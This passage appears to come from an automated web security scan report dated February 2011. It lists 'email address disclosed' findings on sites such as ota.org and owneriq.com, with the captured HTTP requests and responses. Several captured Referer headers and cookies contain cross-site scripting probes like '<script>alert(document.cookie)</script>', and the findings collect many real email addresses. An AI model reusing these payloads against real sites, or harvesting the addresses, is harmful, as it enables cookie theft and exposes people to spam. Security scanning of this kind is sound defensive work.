GET /licenses/mit-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.119. http://www.orthougm.com/angelina_jolean.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/angelina_jolean.html

Issue detail

The following email address was disclosed in the response:

songhwasup@hotmail.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:08:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43366

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
gelinaJolieSplineHeadTutorial.pdf&s=654.35" class="hasil_a" rel="nofollow" title="Angelina Jolie Spline head modeling Tutorial. by Song, Hwasup ... Angelina Jolie Spline head tutorial by Song, Hwasup (songhwasup@hotmail.com) ...">
...[SNIP]...
</a>
Angelina Jolie Spline head modeling Tutorial. by Song, Hwasup ... Angelina Jolie Spline head tutorial by Song, Hwasup (songhwasup@hotmail.com) ... <br>
...[SNIP]...

25.120. http://www.ota.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/

Issue detail

The following email addresses were disclosed in the response:

OTA@aaos.org
ota@aaos.org

Request

GET / HTTP/1.1
Host: www.ota.org
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 48615
ETag: "706542babac3cb1:3f06"
Last-Modified: Thu, 03 Feb 2011 15:55:06 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Orthopaedic Trauma Association</title>
<!-- TemplateEndEditable
...[SNIP]...
<a title="mailto:ota@aaos.org" style="text-decoration: underline" href="mailto:ota@aaos.org">
ota@aaos.org </a>
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org <span class="style25">
...[SNIP]...

25.121. http://www.ota.org/contact/contact.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/contact/contact.html

Issue detail

The following email addresses were disclosed in the response:

OTA@aaos.org
caswell@aaos.org
hiller@aaos.org
meyer@aaos.org
ota@aaos.org
smoore@aaos.org
vetrovec@aaos.org

Request

GET /contact/contact.html HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 28134
ETag: "b5737672ed7cb1:3f06"
Last-Modified: Wed, 09 Jun 2010 16:04:31 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<!-- InstanceBeginEditable name="
...[SNIP]...
<a href="mailto:caswell@aaos.org%20">
...[SNIP]...
<a href="mailto:hiller@aaos.org">
...[SNIP]...
<a href="mailto:meyer@aaos.org">
...[SNIP]...
<a href="mailto:smoore@aaos.org">
...[SNIP]...
<a href="mailto:vetrovec@aaos.org">
...[SNIP]...
<a href="mailto:ota@aaos.org">OTA@aaos.org </a>
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org</a>
...[SNIP]...

25.122. http://www.ota.org/donorForm/donorform.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/donorForm/donorform.cfm

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /donorForm/donorform.cfm HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/index.dwt" codeOutsideHTMLIsLocked
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org</a>
...[SNIP]...

25.123. http://www.ota.org/education_skeletal/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/education_skeletal/index.html

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /education_skeletal/index.html HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 62418
ETag: "2576cf779ac1cb1:3f06"
Last-Modified: Mon, 31 Jan 2011 22:59:08 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<!-- InstanceBeginEditable name="
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org</a>
...[SNIP]...

25.124. http://www.ota.org/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/index.html

Issue detail

The following email addresses were disclosed in the response:

OTA@aaos.org
ota@aaos.org

Request

GET /index.html HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 48615
ETag: "706542babac3cb1:3f06"
Last-Modified: Thu, 03 Feb 2011 15:55:06 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Orthopaedic Trauma Association</title>
<!-- TemplateEndEditable
...[SNIP]...
<a title="mailto:ota@aaos.org" style="text-decoration: underline" href="mailto:ota@aaos.org">
ota@aaos.org </a>
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org <span class="style25">
...[SNIP]...

25.125. http://www.ota.org/international/international.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/international/international.html

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /international/international.html HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 31813
ETag: "84866bca793cb1:3f06"
Last-Modified: Fri, 03 Dec 2010 16:33:18 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<!-- InstanceBeginEditable name="
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org</a>
...[SNIP]...

25.126. http://www.ota.org/members_only/login_menu.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/members_only/login_menu.cfm

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /members_only/login_menu.cfm HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.127. http://www.ota.org/membership_dir/memdir.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/membership_dir/memdir.cfm

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /membership_dir/memdir.cfm HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:10:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><scri
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org</a>
...[SNIP]...

25.128. http://www.ota.org/policy/health_policy.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/policy/health_policy.html

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /policy/health_policy.html HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 28481
ETag: "eb3c3f8aa0fdca1:3f06"
Last-Modified: Thu, 27 May 2010 13:28:48 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<!-- InstanceBeginEditable name="
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org</a>
...[SNIP]...

25.129. http://www.ota.org/sitemap/sitemap.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ota.org
Path:	/sitemap/sitemap.html

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /sitemap/sitemap.html HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 42618
ETag: "7fdde547a1fdca1:3f06"
Last-Modified: Thu, 27 May 2010 13:34:07 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<!-- InstanceBeginEditable name="
...[SNIP]...
<a href="mailto:OTA@aaos.org">OTA@aaos.org</a>
...[SNIP]...

25.130. http://www.othawaii.com/default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.othawaii.com
Path:	/default.asp

Issue detail

The following email address was disclosed in the response:

amagonagle@gomindworks.com

Request

GET /default.asp HTTP/1.1
Host: www.othawaii.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7135
Content-Type: text/html
Set-Cookie: ASPSESSIONIDCADDSQTB=MMOPIINCNNAKDFJFBBMNFFMJ; path=/
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


...[SNIP]...

25.131. http://www.owneriq.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.132. http://www.owneriq.com/about-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/about-us

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.133. http://www.owneriq.com/careers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/careers

Issue detail

The following email addresses were disclosed in the response:

bpotts@owneriq.com
info@owneriq.com
job_ops@owneriq.com
jobs_dev@owneriq.com
jobs_dev@owneriq.net
jobs_techops@owneriq.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:51 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Careers | OwnerIQ</title>

...[SNIP]...
<a href="mailto:job_ops@owneriq.com">
...[SNIP]...
<a href="mailto:job_ops@owneriq.com">
...[SNIP]...
<a href="mailto:jobs_dev@owneriq.com">
...[SNIP]...
<a href="mailto:jobs_dev@owneriq.net">
...[SNIP]...
<a href="mailto:bpotts@owneriq.com">
...[SNIP]...
<a href="mailto:jobs_techops@owneriq.com">
...[SNIP]...
<a href="mailto:job_ops@owneriq.com">
...[SNIP]...
<a href="mailto:info@owneriq.com">
...[SNIP]...

25.134. http://www.owneriq.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/contact-us

Issue detail

The following email addresses were disclosed in the response:

info@owneriq.com
partners@owneriq.com
sales@owneriq.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:07 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 10005

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>OwnerIQ | Ownership Targeti
...[SNIP]...
<a href="mailto:info@owneriq.com">
...[SNIP]...
<a href="mailto:sales@owneriq.com">
...[SNIP]...
<a href="mailto:partners@owneriq.com">
...[SNIP]...
<a href="mailto:info@owneriq.com">
...[SNIP]...

25.135. http://www.owneriq.com/events previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/events

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.136. http://www.owneriq.com/images/iconError.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/images/iconError.png

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

GET /images/iconError.png HTTP/1.1
Host: www.owneriq.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/manuals-online?4a4b1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E18871e2d338=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __utmc=46970937

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4565

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Page Not Found | OwnerIQ</t
...[SNIP]...
<a href="mailto:info@owneriq.com">info@owneriq.com</a>
...[SNIP]...
<a href="mailto:info@owneriq.com">
...[SNIP]...

25.137. http://www.owneriq.com/investors previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/investors

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.138. http://www.owneriq.com/js/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/js/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /js/jquery.cookie.js HTTP/1.1
Host: www.owneriq.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:28 GMT
Server: Apache/2.2.6 (Fedora)
Last-Modified: Fri, 04 Feb 2011 15:18:05 GMT
ETag: "1300643-1097-49b766385c540"
Accept-Ranges: bytes
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript
Content-Length: 4247

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/li
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

25.139. http://www.owneriq.com/management previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/management

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.140. http://www.owneriq.com/manuals-online previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/manuals-online

Issue detail

The following email address was disclosed in the response:

channelmarketing@owneriq.com

Request

Response

25.141. http://www.owneriq.com/mostiq previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/mostiq

Issue detail

The following email address was disclosed in the response:

channelmarketing@owneriq.com

Request

Response

25.142. http://www.owneriq.com/opt-out previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/opt-out

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.143. http://www.owneriq.com/ownership-targeting previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/ownership-targeting

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.144. http://www.owneriq.com/partners previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/partners

Issue detail

The following email addresses were disclosed in the response:

channelmarketing@owneriq.com
partners@owneriq.com

Request

Response

25.145. http://www.owneriq.com/press previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/press

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.146. http://www.owneriq.com/press-coverage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/press-coverage

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.147. http://www.owneriq.com/privacy-policy previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/privacy-policy

Issue detail

The following email addresses were disclosed in the response:

info@owneriq.com
webmaster@owneriq.com

Request

GET /privacy-policy HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:10 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18274

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>OwnerIQ | Privacy Policy</titl
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:info@owneriq.com">
...[SNIP]...

25.148. http://www.owneriq.com/product-ownership-party previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/product-ownership-party

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.149. http://www.owneriq.com/retailers-and-manufacturers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/retailers-and-manufacturers

Issue detail

The following email address was disclosed in the response:

channelmarketing@owneriq.com

Request

Response

25.150. http://www.owneriq.com/retargeting previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/retargeting

Issue detail

The following email address was disclosed in the response:

channelmarketing@owneriq.com

Request

Response

25.151. http://www.owneriq.com/reversing-market-research previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/reversing-market-research

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.152. http://www.owneriq.com/rmb-account/create previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/rmb-account/create

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

GET /rmb-account/create HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:33:18 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Content-Length: 4565
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Page Not Found | OwnerIQ</t
...[SNIP]...
<a href="mailto:info@owneriq.com">info@owneriq.com</a>
...[SNIP]...
<a href="mailto:info@owneriq.com">
...[SNIP]...

25.153. http://www.owneriq.com/rmb-cabinet/read-calculator previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/rmb-cabinet/read-calculator

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

GET /rmb-cabinet/read-calculator HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:33:20 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Content-Length: 4565
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Page Not Found | OwnerIQ</t
...[SNIP]...
<a href="mailto:info@owneriq.com">info@owneriq.com</a>
...[SNIP]...
<a href="mailto:info@owneriq.com">
...[SNIP]...

25.154. http://www.owneriq.com/sitemap previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/sitemap

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

Response

25.155. http://www.peppernews.eu/templates/SquaretleFive/images/about.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.peppernews.eu
Path:	/templates/SquaretleFive/images/about.gif

Issue detail

The following email address was disclosed in the response:

info@betterclicks.de

Request

GET /templates/SquaretleFive/images/about.gif HTTP/1.1
Host: www.peppernews.eu
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef6336f06cd4=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=47btvqa55udv0p4ltkl1kicifnu5suf1

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:14:21 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 1345

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...
<link rev="made" href="mailto:info@betterclicks.de" />
...[SNIP]...
<a href="mailto:info@betterclicks.de">
...[SNIP]...

25.156. http://www.pointehilton.com/toolkit/presentation/shell/hpportal/assets/js/jquery.bgiframe.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/toolkit/presentation/shell/hpportal/assets/js/jquery.bgiframe.js

Issue detail

The following email address was disclosed in the response:

brandon.aaron@gmail.com

Request

GET /toolkit/presentation/shell/hpportal/assets/js/jquery.bgiframe.js HTTP/1.1
Host: www.pointehilton.com
Proxy-Connection: keep-alive
Referer: http://www.pointehilton.com/?1e6b8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9146d6140e3=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=16197269; CFTOKEN=78240628; BIGipServerIMS-6=773065226.20480.0000

Response

HTTP/1.1 200 OK
Content-Length: 4879
Content-Type: application/x-javascript
